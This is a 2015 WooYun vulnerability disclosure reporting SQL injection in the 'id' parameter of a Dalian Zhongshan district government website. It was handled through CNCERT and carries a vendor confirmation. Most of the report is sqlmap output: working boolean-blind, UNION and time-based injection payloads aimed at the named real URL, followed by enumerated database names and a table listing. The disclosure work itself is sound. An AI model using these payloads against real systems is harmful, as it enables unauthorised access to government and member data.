当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0130809

漏洞标题:中山区某政府网一处SQL注射(root权限)

相关厂商:cncert国家互联网应急中心

漏洞作者: keny

提交时间:2015-08-01 22:25

修复时间:2015-09-18 18:06

公开时间:2015-09-18 18:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-01: 细节已通知厂商并且等待厂商处理中
2015-08-04: 厂商已经确认,细节仅向厂商公开
2015-08-14: 细节向核心白帽子及相关领域专家公开
2015-08-24: 细节向普通白帽子公开
2015-09-03: 细节向实习白帽子公开
2015-09-18: 细节向公众公开

简要描述:

root权限

详细说明:

注射点

http://fzb.dlzs.gov.cn/xzcf_detail.php?id=90


参数ID存在注入
root权限

1.png


sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:56:19
[22:56:19] [INFO] resuming back-end DBMS 'mysql'
[22:56:19] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=90 AND 3411=3411
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: id=90 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONC
AT(0x3a6977633a,0x7a764f6554446c794d52,0x3a6877793a), NULL, NULL, NULL, NULL, NU
LL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=90 AND SLEEP(5)
---
[22:56:19] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[22:56:19] [INFO] fetching database names
[22:56:20] [INFO] the SQL query used returns 28 entries
[22:56:20] [INFO] retrieved: "information_schema"
[22:56:20] [INFO] retrieved: "024c23"
[22:56:20] [INFO] retrieved: "dbj"
[22:56:20] [INFO] retrieved: "dzjdl"
[22:56:20] [INFO] retrieved: "hengshunxiang_"
[22:56:21] [INFO] retrieved: "hongyuan"
[22:56:21] [INFO] retrieved: "hualu"
[22:56:21] [INFO] retrieved: "jdweb"
[22:56:21] [INFO] retrieved: "jinyu"
[22:56:21] [INFO] retrieved: "jrxh"
[22:56:21] [INFO] retrieved: "law"
[22:56:22] [INFO] retrieved: "lgyw"
[22:56:22] [INFO] retrieved: "liaoshe"
[22:56:22] [INFO] retrieved: "msxh"
[22:56:22] [INFO] retrieved: "msxhi"
[22:56:22] [INFO] retrieved: "msxho"
[22:56:22] [INFO] retrieved: "msxhp"
[22:56:22] [INFO] retrieved: "msxhq"
[22:56:23] [INFO] retrieved: "msxhr"
[22:56:23] [INFO] retrieved: "mysql"
[22:56:23] [INFO] retrieved: "saivi"
[22:56:23] [INFO] retrieved: "ten"
[22:56:23] [INFO] retrieved: "travel"
[22:56:23] [INFO] retrieved: "weini"
[22:56:24] [INFO] retrieved: "xinliangyiyuan"
[22:56:24] [INFO] retrieved: "xlyys"
[22:56:24] [INFO] retrieved: "xpweb"
[22:56:24] [INFO] retrieved: "yishu"
available databases [28]:
[*] 024c23
[*] dbj
[*] dzjdl
[*] hengshunxiang_
[*] hongyuan
[*] hualu
[*] information_schema
[*] jdweb
[*] jinyu
[*] jrxh
[*] law
[*] lgyw
[*] liaoshe
[*] msxh
[*] msxhi
[*] msxho
[*] msxhp
[*] msxhq
[*] msxhr
[*] mysql
[*] saivi
[*] ten
[*] travel
[*] weini
[*] xinliangyiyuan
[*] xlyys
[*] xpweb
[*] yishu
[22:56:24] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[22:56:24] [INFO] fetched data logged to text files under 'F:\??????????web??\sq
l??\sqlkeny\Bin\output\fzb.dlzs.gov.cn'


Database: hongyuan
[88 tables]
+---------------------------+
| hongyuan_addonarticle |
| hongyuan_addonimages |
| hongyuan_addoninfos |
| hongyuan_addonshop |
| hongyuan_addonsoft |
| hongyuan_addonspec |
| hongyuan_admin |
| hongyuan_admintype |
| hongyuan_advancedsearch |
| hongyuan_arcatt |
| hongyuan_arccache |
| hongyuan_archives |
| hongyuan_arcmulti |
| hongyuan_arcrank |
| hongyuan_arctiny |
| hongyuan_arctype |
| hongyuan_area |
| hongyuan_channeltype |
| hongyuan_co_htmls |
| hongyuan_co_mediaurls |
| hongyuan_co_note |
| hongyuan_co_onepage |
| hongyuan_co_urls |
| hongyuan_diyform1 |
| hongyuan_diyforms |
| hongyuan_dl_log |
| hongyuan_downloads |
| hongyuan_erradd |
| hongyuan_feedback |
| hongyuan_flink |
| hongyuan_flinktype |
| hongyuan_freelist |
| hongyuan_homepageset |
| hongyuan_keywords |
| hongyuan_log |
| hongyuan_member |
| hongyuan_member_company |
| hongyuan_member_feed |
| hongyuan_member_flink |
| hongyuan_member_friends |
| hongyuan_member_group |
| hongyuan_member_guestbook |
| hongyuan_member_model |
| hongyuan_member_msg |
| hongyuan_member_operation |
| hongyuan_member_person |
| hongyuan_member_pms |
| hongyuan_member_snsmsg |
| hongyuan_member_space |
| hongyuan_member_stow |
| hongyuan_member_stowtype |
| hongyuan_member_tj |
| hongyuan_member_type |
| hongyuan_member_vhistory |
| hongyuan_moneycard_record |
| hongyuan_moneycard_type |
| hongyuan_mtypes |
| hongyuan_multiserv_config |
| hongyuan_myad |
| hongyuan_myadtype |
| hongyuan_mytag |
| hongyuan_payment |
| hongyuan_plus |
| hongyuan_purview |
| hongyuan_pwd_tmp |
| hongyuan_ratings |
| hongyuan_scores |
| hongyuan_search_cache |
| hongyuan_search_keywords |
| hongyuan_sgpage |
| hongyuan_shops_delivery |
| hongyuan_shops_orders |
| hongyuan_shops_products |
| hongyuan_shops_userinfo |
| hongyuan_softconfig |
| hongyuan_sphinx |
| hongyuan_stepselect |
| hongyuan_sys_enum |
| hongyuan_sys_module |
| hongyuan_sys_set |
| hongyuan_sys_task |
| hongyuan_sysconfig |
| hongyuan_tagindex |
| hongyuan_taglist |
| hongyuan_uploads |
| hongyuan_verifies |
| hongyuan_vote |
| hongyuan_vote_member |
+---------------------------+


漏洞证明:

1.png


Database: hongyuan
[88 tables]
+---------------------------+
| hongyuan_addonarticle |
| hongyuan_addonimages |
| hongyuan_addoninfos |
| hongyuan_addonshop |
| hongyuan_addonsoft |
| hongyuan_addonspec |
| hongyuan_admin |
| hongyuan_admintype |
| hongyuan_advancedsearch |
| hongyuan_arcatt |
| hongyuan_arccache |
| hongyuan_archives |
| hongyuan_arcmulti |
| hongyuan_arcrank |
| hongyuan_arctiny |
| hongyuan_arctype |
| hongyuan_area |
| hongyuan_channeltype |
| hongyuan_co_htmls |
| hongyuan_co_mediaurls |
| hongyuan_co_note |
| hongyuan_co_onepage |
| hongyuan_co_urls |
| hongyuan_diyform1 |
| hongyuan_diyforms |
| hongyuan_dl_log |
| hongyuan_downloads |
| hongyuan_erradd |
| hongyuan_feedback |
| hongyuan_flink |
| hongyuan_flinktype |
| hongyuan_freelist |
| hongyuan_homepageset |
| hongyuan_keywords |
| hongyuan_log |
| hongyuan_member |
| hongyuan_member_company |
| hongyuan_member_feed |
| hongyuan_member_flink |
| hongyuan_member_friends |
| hongyuan_member_group |
| hongyuan_member_guestbook |
| hongyuan_member_model |
| hongyuan_member_msg |
| hongyuan_member_operation |
| hongyuan_member_person |
| hongyuan_member_pms |
| hongyuan_member_snsmsg |
| hongyuan_member_space |
| hongyuan_member_stow |
| hongyuan_member_stowtype |
| hongyuan_member_tj |
| hongyuan_member_type |
| hongyuan_member_vhistory |
| hongyuan_moneycard_record |
| hongyuan_moneycard_type |
| hongyuan_mtypes |
| hongyuan_multiserv_config |
| hongyuan_myad |
| hongyuan_myadtype |
| hongyuan_mytag |
| hongyuan_payment |
| hongyuan_plus |
| hongyuan_purview |
| hongyuan_pwd_tmp |
| hongyuan_ratings |
| hongyuan_scores |
| hongyuan_search_cache |
| hongyuan_search_keywords |
| hongyuan_sgpage |
| hongyuan_shops_delivery |
| hongyuan_shops_orders |
| hongyuan_shops_products |
| hongyuan_shops_userinfo |
| hongyuan_softconfig |
| hongyuan_sphinx |
| hongyuan_stepselect |
| hongyuan_sys_enum |
| hongyuan_sys_module |
| hongyuan_sys_set |
| hongyuan_sys_task |
| hongyuan_sysconfig |
| hongyuan_tagindex |
| hongyuan_taglist |
| hongyuan_uploads |
| hongyuan_verifies |
| hongyuan_vote |
| hongyuan_vote_member |
+---------------------------+


修复方案:

你们懂...

版权声明:转载请注明来源 keny@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-08-04 18:04

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给辽宁分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论